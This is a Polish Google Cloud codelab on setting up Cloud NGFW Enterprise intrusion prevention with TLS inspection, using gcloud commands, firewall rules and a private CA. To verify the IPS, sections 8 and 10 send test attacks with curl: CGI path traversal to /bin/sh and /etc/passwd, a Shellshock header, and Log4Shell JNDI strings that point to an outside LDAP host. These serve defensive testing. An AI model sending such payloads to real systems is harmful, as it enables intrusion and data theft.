Ćwiczenie z programowania w Cloud NGFW Enterprise Codelab [z inspekcją TLS]

1. Wprowadzenie

Cloud Next Generation Firewall (NGFW)

Zapora sieciowa Cloud Next Generation to w pełni rozproszona usługa zapory sieciowej z zaawansowanymi funkcjami ochrony, mikrosegmentacją i kompleksowym zasięgiem, która chroni Twoje zbiory zadań w Google Cloud przed atakami wewnętrznymi i zewnętrznymi.

Cloud NGFW zapewnia te korzyści:

  • Rozproszona usługa zapory sieciowej: Cloud NGFW zapewnia stanową, w pełni rozproszoną kontrolę hosta w przypadku każdego zbioru zadań, aby umożliwić architekturę zabezpieczeń opartą na zasadzie „zero zaufania”.
  • Uproszczona konfiguracja i wdrożenie: zapora NGFW w chmurze implementuje zasady zapory sieciowej i hierarchicznej, które można dołączyć do węzła hierarchii zasobów. Te zasady zapewniają spójne działanie zapory sieciowej w całej hierarchii zasobów Google Cloud.
  • Szczegółowa kontrola i mikrosegmentacja: połączenie zasad zapory sieciowej i tagów zarządzanych przez usługę Identity and Access Management (IAM) zapewnia precyzyjną kontrolę ruchu w kierunkach północ-południe i wschód-zachód, aż do poziomu pojedynczej maszyny wirtualnej w sieciach VPC i organizacjach.

Usługa Cloud NGFW jest dostępna w tych poziomach:

  • Cloud Next Generation Firewall – podstawy
  • Cloud Next Generation Firewall Standard
  • Cloud Next Generation Firewall Enterprise

Cloud NGFW Enterprise

Cloud NGFW Enterprise dodaje usługę zapobiegania włamaniom (IPS), która jest funkcją warstwy 7, do rozproszonej architektury zapory sieciowej Google Cloud. Inspekcja TLS umożliwia sprawdzanie ruchu szyfrowanego protokołem TLS.

Możesz teraz wdrażać niezawodne inspekcje zapory NGFW warstwy 7 z dokładnymi kontrolkami bez wprowadzania zmian w architekturze sieci lub konfiguracji routingu.

Aby aktywować i wdrożyć kontrolę zapory sieciowej warstwy 7 za pomocą IPS, wykonaj te czynności:

  • Utwórz zestaw punktów końcowych strefowych zapory sieciowej zarządzanych przez Google Cloud.
  • Opcjonalnie utwórz zasadę kontroli TLS.
  • Opcjonalnie utwórz konfigurację zaufania.
  • Połącz te punkty końcowe z sieciami VPC, w których potrzebujesz usługi Cloud NGFW Enterprise.
  • Wprowadź proste zmiany w dotychczasowych regułach i zasadach zapory sieciowej, aby określić profile zapobiegania zagrożeniom dla różnych ścieżek ruchu.

Zasady zapory sieciowej

Zasada zapory sieciowej działa jako kontener dla reguł zapory sieciowej. Reguły zdefiniowane w zasadach zapory sieciowej nie są egzekwowane, dopóki nie zostaną powiązane z siecią VPC. Każda sieć VPC może mieć powiązaną jedną zasadę zapory sieciowej. Zasady zapory sieciowej obsługują tagi zarządzane przez IAM (lub po prostu tagi) w regułach zapory sieciowej. Zastępują one obecne tagi sieci i mogą służyć do identyfikacji zadań.

Udostępnianie reguł zapory sieciowej w różnych sieciach i integracja z tagami zarządzanymi przez uprawnienia znacznie upraszcza konfigurowanie zapory i zarządzanie nią.

Wraz z wprowadzeniem zasady zapory sieciowej zasady zapory Google Cloud składają się z tych komponentów:

  1. Hierarchiczne zasady zapory sieciowej
  2. Reguły zapory sieciowej VPC
  3. Zasady zapory sieciowej ( globalne i regionalne)

Hierarchiczne zasady zapory sieciowej są obsługiwane w węzłach organizacji i folderów w hierarchii zasobów, natomiast reguły zapory sieciowej VPC i zasady zapory sieciowej sieci są stosowane na poziomie VPC. Duża różnica między regułami zapory sieciowej VPC a zasadami zapory sieciowej polega na tym, że reguły zapory sieciowej VPC można zastosować tylko do jednej sieci VPC, podczas gdy zasady zapory sieciowej można dołączyć do jednej sieci VPC lub grupy sieci VPC, co wiąże się z innymi korzyściami, takimi jak aktualizacje zbiorcze.

Wreszcie mamy też niejawne reguły zapory sieciowej, które są dostępne w każdej sieci VPC:

  • Reguła wychodząca, której działanie to zezwalanie, a miejsce docelowe to 0.0.0.0/0
  • Reguła ruchu przychodzącego, której działaniem jest odmowa, a źródłem jest 0.0.0.0/0

Domyślna sekwencja egzekwowania zasad wygląda tak:

21b3bcabc469ffe.png

Pamiętaj, że kolejność stosowania reguł zapory sieciowej VPC i zasad zapory sieciowej sieci globalnej może być odwrotna. Klienci mogą w dowolnym momencie określić kolejność stosowania zasad za pomocą polecenia gcloud.

Tagi

Nowe tagi zintegrowane z regułami zasad zapory sieciowej to zasoby par klucz-wartość zdefiniowane na poziomie organizacji lub projektu w hierarchii zasobów Google Cloud. Taki tag zawiera kontrolę dostępu w uprawnieniach, która określa, kto może wykonywać określone działania na tagu. Uprawnienia zarządzania tożsamościami i dostępem (IAM) umożliwiają na przykład określenie, które podmioty zabezpieczeń mogą przypisywać wartości do tagów i które mogą dołączać tagi do zasobów. Jeśli reguła zapory sieciowej odwołuje się do tagu, musi zostać zastosowana do zasobu, aby była egzekwowana.

Etykiety są zgodne z modelem zasobów dziedziczenia Google Cloud, co oznacza, że etykiety i ich wartości są przekazywane w hierarchii od elementów nadrzędnych. Dzięki temu tagi mogą być tworzone w jednym miejscu, a potem używane przez inne foldery i projekty w hierarchii zasobów. Więcej informacji o tagach i ograniczeniach dostępu znajdziesz tutaj.

Tagów nie należy mylić z tagami sieci. Te ostatnie to ciągi znaków, które można dodać do instancji Compute Engine. Są one powiązane z instancją i znikają, gdy zostanie ona wycofana. Reguły zapory sieciowej VPC mogą zawierać tagi sieci, ale ponieważ nie są one uważane za zasoby w chmurze, nie podlegają kontroli dostępu IAM.

W tym dokumencie terminy „tagi” i „tagi zarządzane przez IAM” są używane zamiennie.

Co utworzysz

Ten projekt wymaga utworzenia jednego projektu i stworzenia sieci VPC oraz zarządzania wieloma zasobami sieci i zabezpieczeń. Pokażą one, jak Cloud NGFW Enterprise może zapewniać funkcję IPS, wykonując te czynności:

  • Inspekcja kierowanych na zewnątrz strumieni danych internetowych za pomocą inspekcji TLS
  • Inspekcja przepływów wewnątrz VPC [East-West] z inspekcją TLS

Przepływy do sprawdzenia zostaną wybrane za pomocą parametrów dopasowywania zapory sieciowej Cloud, w tym 5-tuple (źródłowy adres IP, docelowy adres IP, protokół, źródłowy port, docelowy port) i tagów.

3d0f288d3b92a295.png

Ostateczna wersja bazy reguł zasad zapory sieciowej będzie wyglądać podobnie do tabeli poniżej:

Priorytet

Kierunek

Target

Źródło

Cel

Działanie

Typ

100

Ruch przychodzący

Server_Tag

Kontrole stanu

Dowolny

Zezwól

Essentials

200

Ruch przychodzący

Client_Tag, Server_Tag

IAP

Dowolny

Zezwól

Essentials

800

Ruch przychodzący

Server_Tag

10.0.0.0/24

10.0.0.0/24

Inspekcja L7

Firma

850

Ruch wychodzący

Client_Tag

Dowolny

10.0.0.0/24

Zezwól

Essentials

900

Ruch wychodzący

Client_Tag

Dowolny

Dowolny

Inspekcja L7

Firma

Czego się nauczysz

  • Jak utworzyć zasadę zapory sieciowej.
  • Jak tworzyć i używać tagów w zasadach zapory sieciowej.
  • Jak skonfigurować i używać Cloud NGFW Enterprise z inspekcją TLS.

Czego potrzebujesz

  • Projekt Google Cloud.
  • umiejętność wdrażania instancji i konfigurowania elementów sieciowych;
  • Znajomość konfiguracji zapory sieciowej VPC.

2. Zanim zaczniesz

Tworzenie i aktualizowanie zmiennych

Ten projekt kodu wykorzystuje zmienne $variables, aby ułatwić implementację konfiguracji gcloud w Cloud Shell.

W Cloud Shell uruchom te polecenia, zastępując informacje w nawiasach w razie potrzeby:

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"`
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=ngfw-enterprise
export billing_project=[billing-project-id]

3. Włącz interfejsy API

Włącz interfejsy API, jeśli nie zrobiono tego wcześniej:

gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. Tworzenie punktu końcowego Cloud NGFW Enterprise

Ponieważ utworzenie punktu końcowego Cloud NGFW Enterprise zajmuje około 20 minut, zostanie on utworzony jako pierwszy, a konfiguracja podstawowa może być wykonywana równolegle z tworzeniem punktu końcowego.

Utwórz profil zabezpieczeń i grupę profili zabezpieczeń:

gcloud network-security security-profiles threat-prevention \
  create $prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat

Oczekiwany wynik:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.                                                                                                                                 

Sprawdź, czy zasoby zostały utworzone:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

Oczekiwany wynik (uwaga: format danych wyjściowych może się różnić w zależności od używanego klienta:

NAME: ngfw-enterprise-sp-threat

NAME: ngfw-enterprise-spg

Utwórz punkt końcowy Cloud NGFW Enterprise:

gcloud network-security firewall-endpoints create $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$billing_project

Uruchom podane niżej polecenie, aby sprawdzić, czy punkt końcowy jest tworzony (CREATING).

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Oczekiwany wynik (pamiętaj, że format danych wyjściowych może się różnić w zależności od używanego klienta):

ID: $prefix-$zone
LOCATION: $zone
STATE: CREATING

Aby uzyskać więcej informacji, opcjonalnie uruchom to polecenie:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

Oczekiwany wynik:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
state: CREATING
updateTime: '2023-11-16T04:27:17.677731831Z'

Proces tworzenia trwa około 20 minut. Przejdź do sekcji Konfiguracja podstawowa, aby równolegle tworzyć wymagane zasoby.

5. Konfiguracja podstawowa

sieć VPC i podsieć,

Sieć VPC i podsieć

Utwórz sieć VPC i podsieć:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

Utwórz router Cloud Router i bramę Cloud NAT:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

Instancje

Utwórz instancje klienta i serwera WWW:

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils mtr iperf3 tcpdump -y'

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

Tagi na poziomie projektu

W razie potrzeby przypisz użytkownikowi uprawnienia tagAdmin:if

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

Utwórz klucz i wartości tagu na poziomie projektu:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

Połącz tagi z instancjami:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

Zasady zapory sieciowej sieci globalnej

Aby utworzyć globalną zasadę zapory sieciowej:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise with TLS" --global

Utwórz wymagane reguły Cloud Firewall Essential, aby zezwolić na ruch z zakresów kontroli stanu i serwera proxy z funkcją rozpoznawania tożsamości:

gcloud compute network-firewall-policies rules create 100 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \
--src-ip-ranges=35.235.240.0/20

Utwórz wymagane reguły zapory sieciowej Cloud, aby zezwolić na ruch przychodzący wschodnio-zachodni / ruch w obrębie podsieci z określonych zakresów (te reguły zostaną zaktualizowane, aby umożliwić Cloud NGFW Enterprise z kontrolą TLS):

gcloud compute network-firewall-policies rules create 800 \
        --description "allow ingress internal traffic from tagged clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --src-ip-ranges=10.0.0.0/24 \
        --dest-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

Połącz zasadę zapory sieciowej w chmurze z siecią VPC:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

6. Powiązanie punktu końcowego zapory sieciowej w chmurze

Zdefiniuj zmienne środowiskowe, jeśli nie zostały jeszcze zdefiniowane lub wolisz podejście skryptowe.

Sprawdź, czy utworzenie punktu końcowego zapory Cloud Firewall zostało zakończone. Kontynuuj dopiero wtedy, gdy stan będzie wyświetlany jako AKTYWNA (podczas tworzenia oczekiwany stan to TWORZENIE):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Oczekiwany wynik (pamiętaj, że format danych wyjściowych może się różnić w zależności od używanego klienta):

ID: $prefix-$zone
LOCATION: $zone
STATE: ACTIVE

Aby uzyskać więcej informacji, opcjonalnie uruchom to polecenie:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

Oczekiwany wynik:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone
state: ACTIVE
updateTime: '2023-11-16T04:49:53.776349352Z'

Połącz punkt końcowy zapory Cloud Firewall z siecią VPC:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc \
  --endpoint $prefix-$zone \
  --organization $org_id

Proces powiązania trwa około 10 minut. Do sekcji TLS przejdź dopiero wtedy, gdy stan będzie AKTYWNY (podczas tworzenia stan powinien być TWORZENIE):

gcloud network-security firewall-endpoint-associations list

Oczekiwane dane wyjściowe po zakończeniu:

ID: ngfw-enterprise-association
LOCATION: $zone
NETWORK: $prefix-vpc
ENDPOINT: $prefix-$zone
STATE: ACTIVE

Aby uzyskać więcej informacji, opcjonalnie uruchom to polecenie:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

Oczekiwany wynik:

createTime: '2023-11-16T04:57:06.108377222Z'
firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association
network: projects/$project_id/global/networks/$prefix-vpc
state: ACTIVE
updateTime: '2023-11-16T04:57:06.108377222Z'

7. Konfigurowanie zasobów TLS

Utwórz pulę urzędów certyfikacji. Ten zasób będzie przechowywać certyfikat głównego urzędu certyfikacji, który generujemy dla NGFW Enterprise.

gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise

Utwórz główny urząd certyfikacji. To certyfikat urzędu certyfikacji, który będzie używany do podpisywania dodatkowych certyfikatów w przypadku żądań przesyłanych przez NGFW Enterprise.

gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"

Jeśli pojawi się poniższy komunikat, odpowiedz „y”:

The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA?

Do you want to continue (y/N)? 

Utwórz konto usługi. To konto usługi będzie używane do żądania certyfikatów dla NGFW Enterprise:

gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id

Ustaw uprawnienia IAM dla konta usługi:

gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester

Utwórz plik YAML zasad TLS. Ten plik będzie zawierać informacje o konkretnych zasobach:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
EOF

Zaimportuj zasadę inspekcji TLS:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

Zaktualizuj powiązanie punktu końcowego, aby włączyć protokół TLS:

gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region

Pobierz certyfikat urzędu certyfikacji i dodaj go do magazynu urzędu certyfikacji klienta:

gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt

Przekaż certyfikat CA klientowi:

gcloud compute scp --tunnel-through-iap  ~/$prefix-CA-Root.crt  $prefix-$zone-client:~/  --zone=$zone

Nawiązuj połączenie SSH z maszyną wirtualną, przenieś certyfikat CA do katalogu /usr/local/share/ca-certificates i zaktualizuj magazyn CA:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/

sudo update-ca-certificates

Wróć do Cloud Shell.

Proces podpisywania certyfikatu serwera:

W Cloud Shell zainstaluj bibliotekę szyfrowania Pyca za pomocą polecenia pip:

pip install --user "cryptography>=2.2.0"

Aby umożliwić pakietowi Google Cloud SDK korzystanie z biblioteki kryptograficznej Pyca, musisz włączyć pakiety witryn.

export CLOUDSDK_PYTHON_SITEPACKAGES=1

Utwórz certyfikat serwera:

gcloud privateca certificates create --issuer-location=$region \
  --issuer-pool $prefix-CA-Pool \
  --subject "CN=Cloud NGFW Enterprise,O=Google" \
  --ip-san=10.0.0.3 \
  --generate-key \
  --key-output-file=./key.pem \
  --cert-output-file=./cert.pem 

Spowoduje to wygenerowanie w Cloud Shell plików cert.pem i key.pem. Następnie prześlij certyfikat i klucz na serwer.

gcloud compute scp --tunnel-through-iap  ~/cert.pem  $prefix-$zone-www:~/  --zone=$zone

gcloud compute scp --tunnel-through-iap  ~/key.pem  $prefix-$zone-www:~/  --zone=$zone

Aby zaktualizować szczegóły certyfikatu Apache, połącz się z serwerem przez SSH:

gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone

Przenieś certyfikat i klucz do określonego folderu:

sudo mv cert.pem /etc/ssl/certs/
sudo mv key.pem /etc/ssl/private/

Zaktualizuj konfigurację SSL, aby używać podpisanego certyfikatu:

sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf 

sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf

Ponowne uruchamianie Apache:

sudo systemctl restart apache2

Sprawdź stan Apache:

sudo systemctl status apache2

Powinien być aktywny (uruchomiony).

Zamknij maszynę wirtualną i kontynuuj pracę w CloudShell.

8. Sprawdzanie połączeń w kierunku północnym i wschód-zachód

Uruchom te polecenia w Cloud Shell i zanotuj adresy IP docelowych:

gcloud compute instances list --filter="name=($prefix-$zone-www)"

Otwórz nową kartę i zainicjuj połączenie SSH z maszyną wirtualną klienta za pomocą IAP (musisz zdefiniować zmienne w nowej karcie):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Uruchom podane niżej polecenia i zapisz używane adresy IP docelowe. Utwórz zmienne, zastępując wartości w nawiasach adresami IP z poprzedniego kroku, i sprawdź, czy są one dostępne:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

Użyj curl do sprawdzenia prywatnego adresu IP i upewnij się, że jest on dostępny:

curl https://$target_privateip --max-time 2

Oczekiwane wyniki polecenia curl:

Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone

Wyślij przykładowe ataki na adres IP. Serwer WWW powinien odpowiadać na wszystkie żądania, potwierdzając, że nie ma żadnej kontroli ani zapobiegania na poziomie L7:

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2 
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2 

Przykładowe oczekiwane wyniki (IP prywatny):

400
404
400
200
200

Podobnie możesz wysyłać żądania do miejsca docelowego w internecie:

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2 

Przykładowe oczekiwane wyniki (miejsce docelowe internet):

400
404
400
403
403

Zamknij terminal maszyny wirtualnej i wróć do Cloud Shell.

9. Tworzenie i aktualizowanie reguł zapory sieciowej na potrzeby inspekcji TLS

Wcześniej skonfigurowaliśmy regułę zapory sieciowej, aby zezwalała na ruch przychodzący do naszego serwera z podsieci wewnętrznej. Zaktualizujemy teraz istniejące reguły dostępu i ustawimy działanie na apply_security_profile_group. Spowoduje to włączenie inspekcji L7 E/W z TLS:

gcloud compute network-firewall-policies rules update 800 \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect

Utwórz nową regułę, aby skontrolować inspekcję L7 w kierunku północnym z użyciem TLS.

gcloud compute network-firewall-policies rules create 900 \
        --description "Inspect egress traffic over TCP 443" \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=0.0.0.0/0 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
      --tls-inspect

Utwórz nową regułę, aby zezwolić na ruch wychodzący dla E/W, aby zapobiec podwójnej inspekcji.

gcloud compute network-firewall-policies rules create 850 \
        --description "Prevent double inspection" \
        --action=ALLOW \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=10.0.0.0/24 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client 

10. Weryfikowanie inspekcji TLS w kierunku północnym

Wróć do karty klienckiej maszyny wirtualnej lub połącz się ponownie:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Wysyłanie przykładowych ataków do miejsca docelowego w internecie:

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

Nie otrzymano odpowiedzi zgodnie z oczekiwanym wynikiem poniżej, co potwierdza, że przykładowe ataki są teraz blokowane:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

Ustaw zmienną na adres IP serwera z poprzedniego kroku:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

Wysyłanie przykładowych żądań TLS do serwera:

curl https://$target_privateip --max-time 2

Oczekiwany wynik:

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

Dlaczego ta prośba się nie powiodła? Dzieje się tak, ponieważ zapora otrzymuje certyfikat od serwera, któremu nie ufa. W takim przypadku zwróci on do klienta certyfikat podpisany samodzielnie. Aby włączyć zaufanie, musimy dodać certyfikat urzędu certyfikacji w ramach konfiguracji zaufania.

Wróć do Cloud Shell.

11. Konfigurowanie konfiguracji zaufania

Pobierz certyfikat głównego urzędu certyfikacji i ustaw go jako zmienną z odpowiednim formatem.

export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/      /')

Skonfiguruj plik YAML konfiguracji zaufania. Ten plik zawiera informacje o zaufaniu, takie jak certyfikaty urzędu certyfikacji:

cat > trust_config.yaml << EOF
name: "$prefix-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
${NGFW_ROOT_CA}
EOF

Polecenia te zawierały certyfikat głównego urzędu certyfikacji jako część magazynu zaufanych certyfikatów, ponieważ certyfikat serwera został podpisany za pomocą głównego urzędu certyfikacji. Oznacza to, że zapora sieciowa będzie ufać wszystkim certyfikatom, które otrzyma od urzędu głównego CA, oprócz urzędów publicznych CA, jeśli w zasadach TLS ustawisz wartość excludePublicCaSet na Fałsz.

Sprawdź zawartość konfiguracji zaufania.

cat trust_config.yaml 

Przykładowe dane wyjściowe:

Zwróć szczególną uwagę na wyrównanie wcięć certyfikatu. Musi on mieć dokładnie taki format.

name: "ngfw-enterprise-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
     -----BEGIN CERTIFICATE-----
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
